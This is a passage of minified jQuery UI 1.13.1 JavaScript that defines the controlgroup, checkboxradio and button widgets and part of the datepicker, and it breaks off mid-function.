r=e(this),s=r[n]("instance"),o=e.widget.extend({},a);"button"===n&&r.parent(".ui-spinner").length||((s=s||r[n]()[n]("instance"))&&(o.classes=t._resolveClassesValues(o.classes,s)),r[n](o),o=r[n]("widget"),e.data(o[0],"ui-controlgroup-data",s||r[n]("instance")),i.push(o[0]))}))))})),this.childWidgets=e(e.uniqueSort(i)),this._addClass(this.childWidgets,"ui-controlgroup-item")},_callChildMethod:function(t){this.childWidgets.each((function(){var i=e(this).data("ui-controlgroup-data");i&&i[t]&&i[t]()}))},_updateCornerClass:function(e,t){t=this._buildSimpleOptions(t,"label").classes.label,this._removeClass(e,null,"ui-corner-top ui-corner-bottom ui-corner-left ui-corner-right ui-corner-all"),this._addClass(e,null,t)},_buildSimpleOptions:function(e,t){var i="vertical"===this.options.direction,n={classes:{}};return n.classes[t]={middle:"",first:"ui-corner-"+(i?"top":"left"),last:"ui-corner-"+(i?"bottom":"right"),only:"ui-corner-all"}[e],n},_spinnerOptions:function(e){return(e=this._buildSimpleOptions(e,"ui-spinner")).classes["ui-spinner-up"]="",e.classes["ui-spinner-down"]="",e},_buttonOptions:function(e){return this._buildSimpleOptions(e,"ui-button")},_checkboxradioOptions:function(e){return this._buildSimpleOptions(e,"ui-checkboxradio-label")},_selectmenuOptions:function(e){var t="vertical"===this.options.direction;return{width:t&&"auto",classes:{middle:{"ui-selectmenu-button-open":"","ui-selectmenu-button-closed":""},first:{"ui-selectmenu-button-open":"ui-corner-"+(t?"top":"tl"),"ui-selectmenu-button-closed":"ui-corner-"+(t?"top":"left")},last:{"ui-selectmenu-button-open":t?"":"ui-corner-tr","ui-selectmenu-button-closed":"ui-corner-"+(t?"bottom":"right")},only:{"ui-selectmenu-button-open":"ui-corner-top","ui-selectmenu-button-closed":"ui-corner-all"}}[e]}},_resolveClassesValues:function(t,i){var n={};return e.each(t,(function(e){var r=i.options.classes[e]||"";r=String.prototype.trim.call(r.replace(ie,"")),n[e]=(r+" "+t[e]).replace(/\s+/g," ")})),n},_setOption:function(e,t){"direction"===e&&this._removeClass("ui-controlgroup-"+this.options.direction),this._super(e,t),"disabled"!==e?this.refresh():this._callChildMethod(t?"disable":"enable")},refresh:function(){var t,i=this;this._addClass("ui-controlgroup ui-controlgroup-"+this.options.direction),"horizontal"===this.options.direction&&this._addClass(null,"ui-helper-clearfix"),this._initWidgets(),t=this.childWidgets,(t=this.options.onlyVisible?t.filter(":visible"):t).length&&(e.each(["first","last"],(function(e,n){var r,s=t[n]().data("ui-controlgroup-data");s&&i["_"+s.widgetName+"Options"]?((r=i["_"+s.widgetName+"Options"](1===t.length?"only":n)).classes=i._resolveClassesValues(r.classes,s),s.element[s.widgetName](r)):i._updateCornerClass(t[n](),n)})),this._callChildMethod("refresh"))}}),e.widget("ui.checkboxradio",[e.ui.formResetMixin,{version:"1.13.1",options:{disabled:null,label:null,icon:!0,classes:{"ui-checkboxradio-label":"ui-corner-all","ui-checkboxradio-icon":"ui-corner-all"}},_getCreateOptions:function(){var t,i=this,n=this._super()||{};return this._readType(),t=this.element.labels(),this.label=e(t[t.length-1]),this.label.length||e.error("No label found for checkboxradio widget"),this.originalLabel="",this.label.contents().not(this.element[0]).each((function(){i.originalLabel+=3===this.nodeType?e(this).text():this.outerHTML})),this.originalLabel&&(n.label=this.originalLabel),null!=(t=this.element[0].disabled)&&(n.disabled=t),n},_create:function(){var e=this.element[0].checked;this._bindFormResetHandler(),null==this.options.disabled&&(this.options.disabled=this.element[0].disabled),this._setOption("disabled",this.options.disabled),this._addClass("ui-checkboxradio","ui-helper-hidden-accessible"),this._addClass(this.label,"ui-checkboxradio-label","ui-button ui-widget"),"radio"===this.type&&this._addClass(this.label,"ui-checkboxradio-radio-label"),this.options.label&&this.options.label!==this.originalLabel?this._updateLabel():this.originalLabel&&(this.options.label=this.originalLabel),this._enhance(),e&&this._addClass(this.label,"ui-checkboxradio-checked","ui-state-active"),this._on({change:"_toggleClasses",focus:function(){this._addClass(this.label,null,"ui-state-focus ui-visual-focus")},blur:function(){this._removeClass(this.label,null,"ui-state-focus ui-visual-focus")}})},_readType:function(){var t=this.element[0].nodeName.toLowerCase();this.type=this.element[0].type,"input"===t&&/radio|checkbox/.test(this.type)||e.error("Can't create checkboxradio on element.nodeName="+t+" and element.type="+this.type)},_enhance:function(){this._updateIcon(this.element[0].checked)},widget:function(){return this.label},_getRadioGroup:function(){var t=this.element[0].name,i="input[name='"+e.escapeSelector(t)+"']";return t?(this.form.length?e(this.form[0].elements).filter(i):e(i).filter((function(){return 0===e(this)._form().length}))).not(this.element):e([])},_toggleClasses:function(){var t=this.element[0].checked;this._toggleClass(this.label,"ui-checkboxradio-checked","ui-state-active",t),this.options.icon&&"checkbox"===this.type&&this._toggleClass(this.icon,null,"ui-icon-check ui-state-checked",t)._toggleClass(this.icon,null,"ui-icon-blank",!t),"radio"===this.type&&this._getRadioGroup().each((function(){var t=e(this).checkboxradio("instance");t&&t._removeClass(t.label,"ui-checkboxradio-checked","ui-state-active")}))},_destroy:function(){this._unbindFormResetHandler(),this.icon&&(this.icon.remove(),this.iconSpace.remove())},_setOption:function(e,t){if("label"!==e||t){if(this._super(e,t),"disabled"===e)return this._toggleClass(this.label,null,"ui-state-disabled",t),void(this.element[0].disabled=t);this.refresh()}},_updateIcon:function(t){var i="ui-icon ui-icon-background ";this.options.icon?(this.icon||(this.icon=e("<span>"),this.iconSpace=e("<span> </span>"),this._addClass(this.iconSpace,"ui-checkboxradio-icon-space")),"checkbox"===this.type?(i+=t?"ui-icon-check ui-state-checked":"ui-icon-blank",this._removeClass(this.icon,null,t?"ui-icon-blank":"ui-icon-check")):i+="ui-icon-blank",this._addClass(this.icon,"ui-checkboxradio-icon",i),t||this._removeClass(this.icon,null,"ui-icon-check ui-state-checked"),this.icon.prependTo(this.label).after(this.iconSpace)):void 0!==this.icon&&(this.icon.remove(),this.iconSpace.remove(),delete this.icon)},_updateLabel:function(){var e=this.label.contents().not(this.element[0]);this.icon&&(e=e.not(this.icon[0])),(e=this.iconSpace?e.not(this.iconSpace[0]):e).remove(),this.label.append(this.options.label)},refresh:function(){var e=this.element[0].checked,t=this.element[0].disabled;this._updateIcon(e),this._toggleClass(this.label,"ui-checkboxradio-checked","ui-state-active",e),null!==this.options.label&&this._updateLabel(),t!==this.options.disabled&&this._setOptions({disabled:t})}}]),e.ui.checkboxradio,e.widget("ui.button",{version:"1.13.1",defaultElement:"<button>",options:{classes:{"ui-button":"ui-corner-all"},disabled:null,icon:null,iconPosition:"beginning",label:null,showLabel:!0},_getCreateOptions:function(){var e,t=this._super()||{};return this.isInput=this.element.is("input"),null!=(e=this.element[0].disabled)&&(t.disabled=e),this.originalLabel=this.isInput?this.element.val():this.element.html(),this.originalLabel&&(t.label=this.originalLabel),t},_create:function(){!this.option.showLabel&!this.options.icon&&(this.options.showLabel=!0),null==this.options.disabled&&(this.options.disabled=this.element[0].disabled||!1),this.hasTitle=!!this.element.attr("title"),this.options.label&&this.options.label!==this.originalLabel&&(this.isInput?this.element.val(this.options.label):this.element.html(this.options.label)),this._addClass("ui-button","ui-widget"),this._setOption("disabled",this.options.disabled),this._enhance(),this.element.is("a")&&this._on({keyup:function(t){t.keyCode===e.ui.keyCode.SPACE&&(t.preventDefault(),this.element[0].click?this.element[0].click():this.element.trigger("click"))}})},_enhance:function(){this.element.is("button")||this.element.attr("role","button"),this.options.icon&&(this._updateIcon("icon",this.options.icon),this._updateTooltip())},_updateTooltip:function(){this.title=this.element.attr("title"),this.options.showLabel||this.title||this.element.attr("title",this.options.label)},_updateIcon:function(t,i){var n="iconPosition"!==t,r=n?this.options.iconPosition:i;t="top"===r||"bottom"===r,this.icon?n&&this._removeClass(this.icon,null,this.options.icon):(this.icon=e("<span>"),this._addClass(this.icon,"ui-button-icon","ui-icon"),this.options.showLabel||this._addClass("ui-button-icon-only")),n&&this._addClass(this.icon,null,i),this._attachIcon(r),t?(this._addClass(this.icon,null,"ui-widget-icon-block"),this.iconSpace&&this.iconSpace.remove()):(this.iconSpace||(this.iconSpace=e("<span> </span>"),this._addClass(this.iconSpace,"ui-button-icon-space")),this._removeClass(this.icon,null,"ui-wiget-icon-block"),this._attachIconSpace(r))},_destroy:function(){this.element.removeAttr("role"),this.icon&&this.icon.remove(),this.iconSpace&&this.iconSpace.remove(),this.hasTitle||this.element.removeAttr("title")},_attachIconSpace:function(e){this.icon[/^(?:end|bottom)/.test(e)?"before":"after"](this.iconSpace)},_attachIcon:function(e){this.element[/^(?:end|bottom)/.test(e)?"append":"prepend"](this.icon)},_setOptions:function(e){var t=(void 0===e.showLabel?this.options:e).showLabel,i=(void 0===e.icon?this.options:e).icon;t||i||(e.showLabel=!0),this._super(e)},_setOption:function(e,t){"icon"===e&&(t?this._updateIcon(e,t):this.icon&&(this.icon.remove(),this.iconSpace&&this.iconSpace.remove())),"iconPosition"===e&&this._updateIcon(e,t),"showLabel"===e&&(this._toggleClass("ui-button-icon-only",null,!t),this._updateTooltip()),"label"===e&&(this.isInput?this.element.val(t):(this.element.html(t),this.icon&&(this._attachIcon(this.options.iconPosition),this._attachIconSpace(this.options.iconPosition)))),this._super(e,t),"disabled"===e&&(this._toggleClass(null,"ui-state-disabled",t),(this.element[0].disabled=t)&&this.element.trigger("blur"))},refresh:function(){var e=this.element.is("input, button")?this.element[0].disabled:this.element.hasClass("ui-button-disabled");e!==this.options.disabled&&this._setOptions({disabled:e}),this._updateTooltip()}}),!1!==e.uiBackCompat&&(e.widget("ui.button",e.ui.button,{options:{text:!0,icons:{primary:null,secondary:null}},_create:function(){this.options.showLabel&&!this.options.text&&(this.options.showLabel=this.options.text),!this.options.showLabel&&this.options.text&&(this.options.text=this.options.showLabel),this.options.icon||!this.options.icons.primary&&!this.options.icons.secondary?this.options.icon&&(this.options.icons.primary=this.options.icon):this.options.icons.primary?this.options.icon=this.options.icons.primary:(this.options.icon=this.options.icons.secondary,this.options.iconPosition="end"),this._super()},_setOption:function(e,t){"text"!==e?("showLabel"===e&&(this.options.text=t),"icon"===e&&(this.options.icons.primary=t),"icons"===e&&(t.primary?(this._super("icon",t.primary),this._super("iconPosition","beginning")):t.secondary&&(this._super("icon",t.secondary),this._super("iconPosition","end"))),this._superApply(arguments)):this._super("showLabel",t)}}),e.fn.button=(ee=e.fn.button,function(t){var i="string"==typeof t,n=Array.prototype.slice.call(arguments,1),r=this;return i?this.length||"instance"!==t?this.each((function(){var i=e(this).attr("type"),s=e.data(this,"ui-"+("checkbox"!==i&&"radio"!==i?"button":"checkboxradio"));return"instance"===t?(r=s,!1):s?"function"!=typeof s[t]||"_"===t.charAt(0)?e.error("no such method '"+t+"' for button widget instance"):(i=s[t].apply(s,n))!==s&&void 0!==i?(r=i&&i.jquery?r.pushStack(i.get()):i,!1):void 0:e.error("cannot call methods on button prior to initialization; attempted to call method '"+t+"'")})):r=void 0:(n.length&&(t=e.widget.extend.apply(null,[t].concat(n))),this.each((function(){var i,n="checkbox"!==(i=e(this).attr("type"))&&"radio"!==i?"button":"checkboxradio";(i=e.data(this,"ui-"+n))?(i.option(t||{}),i._init&&i._init()):"button"!=n?e(this).checkboxradio(e.extend({icon:!1},t)):ee.call(e(this),t)}))),r}),e.fn.buttonset=function(){return e.ui.controlgroup||e.error("Controlgroup widget missing"),"option"===arguments[0]&&"items"===arguments[1]&&arguments[2]?this.controlgroup.apply(this,[arguments[0],"items.button",arguments[2]]):"option"===arguments[0]&&"items"===arguments[1]?this.controlgroup.apply(this,[arguments[0],"items.button"]):("object"==typeof arguments[0]&&arguments[0].items&&(arguments[0].items={button:arguments[0].items}),this.controlgroup.apply(this,arguments))}),e.ui.button,e.extend(e.ui,{datepicker:{version:"1.13.1"}}),e.extend(ne.prototype,{markerClassName:"hasDatepicker",maxRows:4,_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(e){return ae(this._defaults,e||{}),this},_attachDatepicker:function(t,i){var n,r=t.nodeName.toLowerCase(),s="div"===r||"span"===r;t.id||(this.uuid+=1,t.id="dp"+this.uuid),(n=this._newInst(e(t),s)).settings=e.extend({},i||{}),"input"===r?this._connectDatepicker(t,n):s&&this._inlineDatepicker(t,n)},_newInst:function(t,i){return{id:t[0].id.replace(/([^A-Za-z0-9_\-])/g,"\\\\$1"),input:t,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:i,dpDiv:i?re(e("<div class='"+this._inlineClass+" ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>")):this.dpDiv}},_connectDatepicker:function(t,i){var n=e(t);i.append=e([]),i.trigger=e([]),n.hasClass(this.markerClassName)||(this._attachments(n,i),n.addClass(this.markerClassName).on("keydown",this._doKeyDown).on("keypress",this._doKeyPress).on("keyup",this._doKeyUp),this._autoSize(i),e.data(t,"datepicker",i),i.settings.disabled&&this._disableDatepicker(t))},_attachments:function(t,i){var n,r=this._get(i,"appendText"),s=this._get(i,"isRTL");i.append&&i.append.remove(),r&&(i.append=e("<span>").addClass(this._appendClass).text(r),t[s?"before":"after"](i.append)),t.off("focus",this._showDatepicker),i.trigger&&i.trigger.remove(),"focus"!==(n=this._get(i,"showOn"))&&"both"!==n||t.on("focus",this._showDatepicker),"button"!==n&&"both"!==n||(r=this._get(i,"buttonText"),n=this._get(i,"buttonImage"),this._get(i,"buttonImageOnly")?i.trigger=e("<img>").addClass(this._triggerClass).attr({src:n,alt:r,title:r}):(i.trigger=e("<button type='button'>").addClass(this._triggerClass),n?i.trigger.html(e("<img>").attr({src:n,alt:r,title:r})):i.trigger.text(r)),t[s?"before":"after"](i.trigger),i.trigger.on("click",(function(){return e.datepicker._datepickerShowing&&e.datepicker._lastInput===t[0]?e.datepicker._hideDatepicker():(e.datepicker._datepickerShowing&&e.datepicker._lastInput!==t[0]&&e.datepicker._hideDatepicker(),e.datepicker._showDatepicker(t[0])),!1})))},_autoSize:function(e){var t,i,n,r,s,a;this._get(e,"autoSize")&&!e.inline&&(s=new Date(2009,11,20),(a=this._get(e,"dateFormat")).match(/[DM]/)&&(t=function(e){for(r=n=i=0;r<e.length;r++)e[r].length>i&&(i=e[r].length,n=r);return n},s.setMonth(t(this._get(e,a.match(/MM/)?"monthNames":"monthNamesShort"))),s.setDate(t(this._get(e,a.match(/DD/)?"dayNames":"dayNamesShort"))+20-s.getDay())),e.input.attr("size",this._formatDate(e,s).length))},_inlineDatepicker:function(t,i){var n=e(t);n.hasClass(this.markerClassName)||(n.addClass(this.markerClassName).append(i.dpDiv),e.data(t,"datepicker",i),this._setDate(i,this._getDefaultDate(i),!0),this._updateDatepicker(i),this._updateAlternate(i),i.settings.disabled&&this._disableDatepicker(t),i.dpDiv.css("display","block"))},_dialogDatepicker:function(t,i,n,r,s){var a,o=this._dialogInst;return o||(this.uuid+=1,a="dp"+this.uuid,this._dialogInput=e("<input type='text' id='"+a+"' style='position: absolute; top: -100px; width: 0px;'/>"),this._dialogInput.on("keydown",this._doKeyDown),e("body").append(this._dialogInput),(o=this._dialogInst=this._newInst(this._dialogInput,!1)).settings={},e.data(this._dialogInput[0],"datepicker",o)),ae(o.settings,r||{}),i=i&&i.constructor===Date?this._formatDate(o,i):i,this._dialogInput.val(i),this._pos=s?s.length?s:[s.pageX,s.pageY]:null,this._pos||(a=document.documentElement.clientWidth,r=document.documentElement.clientHeight,i=document.documentElement.scrollLeft||document.body.scrollLeft,s=document.documentElement.scrollTop||document.body.scrollTop,this._pos=[a/2-100+i,r/2-150+s]),this._dialogInput.css("left",this._pos[0]+20+"px").css("top",this._pos[1]+"px"),o.settings.onSelect=n,this._inDialog=!0,this.dpDiv.addClass(this._dialogClass),this._showDatepicker(this._dialogInput[0]),e.blockUI&&e.blockUI(this.dpDiv),e.data(this._dialogInput[0],"datepicker",o),this},_destroyDatepicker:function(t){var i,n=e(t),r=e.data(t,"datepicker");n.hasClass(this.markerClassName)&&(i=t.nodeName.toLowerCase(),e.removeData(t,"datepicker"),"input"===i?(r.append.remove(),r.trigger.remove(),n.removeClass(this.markerClassName).off("focus",this._showDatepicker).off("keydown",this._doKeyDown).off("keypress",this._doKeyPress).off("keyup",this._doKeyUp)):"div"!==i&&"span"!==i||n.removeClass(this.markerClassName).empty(),te===r&&(te=null,this._curInst=null))},_enableDatepicker:function(t){var i,n=e(t),r=e.data(t,"datepicker");n.hasClass(this.markerClassName)&&("input"===(i=t.nodeName.toLowerCase())?(t.disabled=!1,r.trigger.filter("button").each((function(){this.disabled=!1})).end().filter("img").css({opacity:"1.0",cursor:""})):"div"!==i&&"span"!==i||((n=n.children("."+this._inlineClass)).children().removeClass("ui-state-disabled"),n.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!1)),this._disabledInputs=e.map(this._disabledInputs,(function(e){return e===t?null:e})))},_disableDatepicker:function(t){var i,n=e(t),r=e.data(t,"datepicker");n.hasClass(this.markerClassName)&&("input"===(i=t.nodeName.toLowerCase())?(t.disabled=!0,r.trigger.filter("button").each((function(){this.disabled=!0})).end().filter("img").css({opacity:"0.5",cursor:"default"})):"div"!==i&&"span"!==i||((n=n.children("."+this._inlineClass)).children().addClass("ui-state-disabled"),n.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!0)),this._disabledInputs=e.map(this._disabledInputs,(function(e){return e===t?null:e})),this._disabledInputs[this._disabledInputs.length]=t)},_isDisabledDatepicker:function(e){if(!e)return!1;for(var t=0;t<this._disabledInputs.length;t++)if(this._disabledInputs[t]===e)return!0;return!1},_getInst:function(t){try{return e.data(t,"datepicker")}catch(t){throw"Missing instance data for this datepicker"}},_optionDatepicker:function(t,i,n){var r,s,a=this._getInst(t);if(2===arguments.length&&"string"==typeof i)return"defaults"===i?e.extend({},e.datepicker._defaults):a?"all"===i?e.extend({},a.settings):this._get(a,i):null;r=i||{},"string"==typeof i&&((r={})[i]=n),a&&(this._curInst===a&&this._hideDatepicker(),s=this._getDateDatepicker(t,!0),i=this._getMinMaxDate(a,"min"),n=this._getMinMaxDate(a,"max"),ae(a.settings,r),null!==i&&void 0!==r.dateFormat&&void 0===r.minDate&&(a.settings.minDate=this._formatDate(a,i)),null!==n&&void 0!==r.dateFormat&&void 0===r.maxDate&&(a.settings.maxDate=this._formatDate(a,n)),"disabled"in r&&(r.disabled?this._disableDatepicker(t):this._enableDatepicker(t)),this._attachments(e(t),a),this._autoSize(a),this._setDate(a,s),this._updateAlternate(a),this._updateDatepicker(a))},_changeDatepicker:function(e,t,i){this._optionDatepicker(e,t,i)},_refreshDatepicker:function(e){(e=this._getInst(e))&&this._updateDatepicker(e)},_setDateDatepicker:function(e,t){(e=this._getInst(e))&&(this._setDate(e,t),this._updateDatepicker(e),this._updateAlternate(e))},_getDateDatepicker:function(e,t){return(e=this._getInst(e))&&!e.inline&&this._setDateFromField(e,t),e?this._getDate(e):null},_doKeyDown:function(t){var i,n,r=e.datepicker._getInst(t.target),s=!0,a=r.dpDiv.is(".ui-datepicker-rtl");if(r._keyEvent=!0,e.datepicker._datepickerShowing)switch(t.keyCode){case 9:e.datepicker._hideDatepicker(),s=!1;break;case 13:return(n=e("td."+e.datepicker._dayOverClass+":not(."+e.datepicker._currentClass+")",r.dpDiv))[0]&&e.datepicker._selectDay(t.target,r.selectedMonth,r.selectedYear,n[0]),(i=e.datepicker._get(r,"onSelect"))?(n=e.datepicker._formatDate(r),i.apply(r.input?r.input[0]:null,[n,r])):e.datepicker._hideDatepicker(),!1;case 27:e.datepicker._hideDatepicker();break;case 33:e.datepicker._adjustDate(t.target,t.ctrlKey?-e.datepicker._get(r,"stepBigMonths"):-e.datepicker._get(r,"stepMonths"),"M");break;case 34:e.datepicker._adjustDate(t.target,t.ctrlKey?+e.datepicker._get(r,"stepBigMonths"):+e.datepicker._get(r,"stepMonths"),"M");break;case 35:(t.ctrlKey||t.metaKey)&&e.datepicker._clearDate(t.target),s=t.ctrlKey||t.metaKey;break;case 36:(t.ctrlKey||t.metaKey)&&e.datepicker._gotoToday(t.target),s=t.ctrlKey||t.metaKey;break;case 37:(t.ctrlKey||t.metaKey)&&e.datepicker._adjustDate(t.target,a?1:-1,"D"),s=t.ctrlKey||t.metaKey,t.originalEvent.altKey&&e.datepicker._adjustDate(t.target,t.ctrlKey?-e.datepicker._get(r,"stepBigMonths"):-e.datepicker._get(r,"stepMonths"),"M");break;case 38:(t.ctrlKey||t.metaKey)&&e.datepicker._adjustDate(t.target,-7,"D"),s=t.ctrlKey||t.metaKey;break;case 39:(t.ctrlKey||t.metaKey)&&e.datepicker._adjustDate(t.target,a?-1:1,"D"),s=t.ctrlKey||t.metaKey,t.originalEvent.altKey&&e.datepicker._adjustDate(t.target,t.ctrlKey?+e.datepicker._get(r,"stepBigMonths"):+e.datepicker._get(r,"stepMonths"),"M");break;case 40:(t.ctrlKey||t.metaKey)&&e.datepicker._adjustDate(t.target,7,"D"),s=t.ctrlKey||t.metaKey;break;default:s=!1}else 36===t.keyCode&&t.ctrlKey?e.datepicker._showDatepicker(this):s=!1;s&&(t.preventDefault(),t.stopPropagation())},_doKeyPress:function(t){var i,n=e.datepicker._getInst(t.target);if(e.datepicker._get(n,"constrainInput"))return i=e.datepicker._possibleChars(e.datepicker._get(n,"dateFormat")),n=String.fromCharCode(null==t.charCode?t.keyCode:t.charCode),t.ctrlKey||t.metaKey||n<" "||!i||-1<i.indexOf(n)},_doKeyUp:function(t){if((t=e.datepicker._getInst(t.target)).input.val()!==t.lastVal)try{e.datepicker.parseDate(e.datepicker._get(t,"dateFormat"),t.input?t.input.val():null,e.datepicker._getFormatConfig(t))&&(e.datepicker._setDateFromField(t),e.datepicker._updateAlternate(t),e.datepicker._updateDatepicker(t))}catch(t){}return!0},_showDatepicker:function(t){var i,n,r,s;"input"!==(t=t.target||t).nodeName.toLowerCase()&&(t=e("input",t.parentNode)[0]),e.datepicker._isDisabledDatepicker(t)||e.datepicker._lastInput===t||(s=e.datepicker._getInst(t),e.datepicker._curInst&&e.datepicker._curInst!==s&&(e.datepicker._curInst.dpDiv.stop(!0,!0),s&&e.datepicker._datepickerShowing&&e.datepicker._hideDatepicker(e.datepicker._curInst.input[0])),!1!==(n=(r=e.datepicker._get(s,"beforeShow"))?r.apply(t,[t,s]):{})&&(ae(s.settings,n),s.lastVal=null,e.datepicker._lastInput=t,e.datepicker._setDateFromField(s),e.datepicker._inDialog&&(t.value=""),e.datepicker._pos||(e.datepicker._pos=e.datepicker._findPos(t),e.datepicker._pos[1]+=t.offsetHeight),i=!1,e(t).parents().each((function(){return!(i|="fixed"===e(this).css("position"))})),r={left:e.datepicker._pos[0],top:e.datepicker._pos[1]},e.datepicker._pos=null,s.dpDiv.empty(),s.dpDiv.css({position:"absolute",display:"block",top:"-1000px"}),e.datepicker._updateDatepicker(s),r=e.datepicker._checkOffset(s,r,i),s.dpDiv.css({position:e.datepicker._inDialog&&e.blockUI?"static":i?"fixed":"absolute",display:"none",left:r.left+"px",top:r.top+"px"}),s.inline||(n=e.datepicker._get(s,"showAnim"),r=e.datepicker._get(s,"duration"),s.dpDiv.css("z-index",function(e){for(var t,i;e.length&&e[0]!==document;){if(("absolute"===(t=e.css("position"))||"relative"===t||"fixed"===t)&&(i=parseInt(e.css("zIndex"),10),!isNaN(i)&&0!==i))return i;e=e.parent()}return 0}(e(t))+1),e.datepicker._datepickerShowing=!0,e.effects&&e.effects.effect[n]?s.dpDiv.show(n,e.datepicker._get(s,"showOptions"),r):s.dpDiv[n||"show"](n?r:null),e.datepicker._shouldFocusInput(s)&&s.input.trigger("focus"),e.datepicker._curInst=s)))},_updateDatepicker:function(t){this.maxRows=4,(te=t).dpDiv.empty().append(this._generateHTML(t)),this._attachHandlers(t);var i,n=this._getNumberOfMonths(t),r=n[1],s=t.dpDiv.find("."+this._dayOverClass+" a"),a=e.datepicker._get(t,"onUpdateDatepicker");0<s.length&&se.apply(s.get(0)),t.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width(""),1<r&&t.dpDiv.addClass("ui-datepicker-multi-"+r).css("width",17*r+"em"),t.dpDiv[(1!==n[0]||1!==n[1]?"add":"remove")+"Class"]("ui-datepicker-multi"),t.dpDiv[(this._get(t,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl"),t===e.datepicker._curInst&&e.datepicker._datepickerShowing&&e.datepicker._shouldFocusInput(t)&&t.input.trigger("focus"),t.yearshtml&&(i=t.yearshtml,setTimeout((function(){i===t.yearshtml&&t.yearshtml&&t.dpDiv.find("select.ui-datepicker-year").first().replaceWith(t.yearshtml),i=t.yearshtml=null}),0)),a&&a.apply(t.input?t.input[0]:null,[t])},_shouldFocusInput:function(e){return e.input&&e.input.is(":visible")&&!e.input.is(":disabled")&&!e.input.is(":focus")},_checkOffset:function(t,i,n){var r=t.dpDiv.outerWidth(),s=t.dpDiv.outerHeight(),a=t.input?t.input.outerWidth():0,o=t.input?t.input.outerHeight():0,l=document.documentElement.clientWidth+(n?0:e(document).scrollLeft()),u=document.documentElement.clientHeight+(n?0:e(document).scrollTop());return i.left-=this._get(t,"isRTL")?r-a:0,i.left-=n&&i.left===t.input.offset().left?e(document).scrollLeft():0,i.top-=n&&i.top===t.input.offset().top+o?e(document).scrollTop():0,i.left-=Math.min(i.left,i.left+r>l&&r<l?Math.abs(i.left+r-l):0),i.top-=Math.min(i.top,i.top+s>u&&s<u?Math.abs(s+o):0),i},_findPos:function(t){for(var i=this._getInst(t),n=this._get(i,"isRTL");t&&("hidden"===t.type||1!==t.nodeType||e.expr.pseudos.hidden(t));)t=t[n?"previousSibling":"nextSibling"];return[(i=e(t).offset()).left,i.top]},_hideDatepicker:function(t){var i,n,r=this._curInst;!r||t&&r!==e.data(t,"datepicker")||this._datepickerShowing&&(i=this._get(r,"showAnim"),n=this._get(r,"duration"),t=function(){e.datepicker._tidyDialog(r)},e.effects&&(e.effects.effect[i]||e.effects[i])?r.dpDiv.hide(i,e.datepicker._get(r,"showOptions"),n,t):r.dpDiv["slideDown"===i?"slideUp":"fadeIn"===i?"fadeOut":"hide"](i?n:null,t),i||t(),this._datepickerShowing=!1,(t=this._get(r,"onClose"))&&t.apply(r.input?r.input[0]:null,[r.input?r.input.val():"",r]),this._lastInput=null,this._inDialog&&(this._dialogInput.css({position:"absolute",left:"0",top:"-100px"}),e.blockUI&&(e.unblockUI(),e("body").append(this.dpDiv))),this._inDialog=!1)},_tidyDialog:function(e){e.dpDiv.removeClass(this._dialogClass).off(".ui-datepicker-calendar")},_checkExternalClick:function(t){var i;e.datepicker._curInst&&(i=e(t.target),t=e.datepicker._getInst(i[0]),(i[0].id===e.datepicker._mainDivId||0!==i.parents("#"+e.datepicker._mainDivId).length||i.hasClass(e.datepicker.markerClassName)||i.closest("."+e.datepicker._triggerClass).length||!e.datepicker._datepickerShowing||e.datepicker._inDialog&&e.blockUI)&&(!i.hasClass(e.datepicker.markerClassName)||e.datepicker._curInst===t)||e.datepicker._hideDatepicker())},_adjustDate:function(t,i,n){var r=e(t);t=this._getInst(r[0]),this._isDisabledDatepicker(r[0])||(this._adjustInstDate(t,i,n),this._updateDatepicker(t))},_gotoToday:function(t){var i=e(t),n=this._getInst(i[0]);this._get(n,"gotoCurrent")&&n.currentDay?(n.selectedDay=n.currentDay,n.drawMonth=n.selectedMonth=n.currentMonth,n.drawYear=n.selectedYear=n.currentYear):(t=new Date,n.selectedDay=t.getDate(),n.drawMonth=n.selectedMonth=t.getMonth(),n.drawYear=n.selectedYear=t.getFullYear()),this._notifyChange(n),this._adjustDate(i)},_selectMonthYear:function(t,i,n){var r=e(t);(t=this._getInst(r[0]))["selected"+("M"===n?"Month":"Year")]=t["draw"+("M"===n?"Month":"Year")]=parseInt(i.options[i.selectedIndex].value,10),this._notifyChange(t),this._adjustDate(r)},_selectDay:function(t,i,n,r){var s=e(t);e(r).hasClass(this._unselectableClass)||this._isDisabledDatepicker(s[0])||((s=this._getInst(s[0])).selectedDay=s.currentDay=parseInt(e("a",r).attr("data-date")),s.selectedMonth=s.currentMonth=i,s.selectedYear=s.currentYear=n,this._selectDate(t,this._formatDate(s,s.currentDay,s.currentMonth,s.currentYear)))},_clearDate:function(t){t=e(t),this._selectDate(t,"")},_selectDate:function(t,i){var n=e(t);t=this._getInst(n[0]),i=null!=i?i:this._formatDate(t),t.input&&t.input.val(i),this._updateAlternate(t),(n=this._get(t,"onSelect"))?n.apply(t.input?t.input[0]:null,[i,t]):t.input&&t.input.trigger("change"),t.inline?this._updateDatepicker(t):(this._hideDatepicker(),this._lastInput=t.input[0],"object"!=typeof t.input[0]&&t.input.trigger("focus"),this._lastInput=null)},_updateAlternate:function(t){var i,n,r=this._get(t,"altField");r&&(i=this._get(t,"altFormat")||this._get(t,"dateFormat"),n=this._getDate(t),t=this.formatDate(i,n,this._getFormatConfig(t)),e(document).find(r).val(t))},noWeekends:function(e){return[0<(e=e.getDay())&&e<6,""]},iso8601Week:function(e){var t=new Date(e.getTime());return t.setDate(t.getDate()+4-(t.getDay()||7)),e=t.getTime(),t.setMonth(0),t.setDate(1),Math.floor(Math.round((e-t)/864e5)/7)+1},parseDate:function(t,i,n){if(null==t||null==i)throw"Invalid arguments";if(""===(i="object"==typeof i?i.toString():i+""))return null;for(var r,s,a,o=0,l="string"!=typeof(l=(n?n.shortYearCutoff:null)||this._defaults.shortYearCutoff)?l:(new 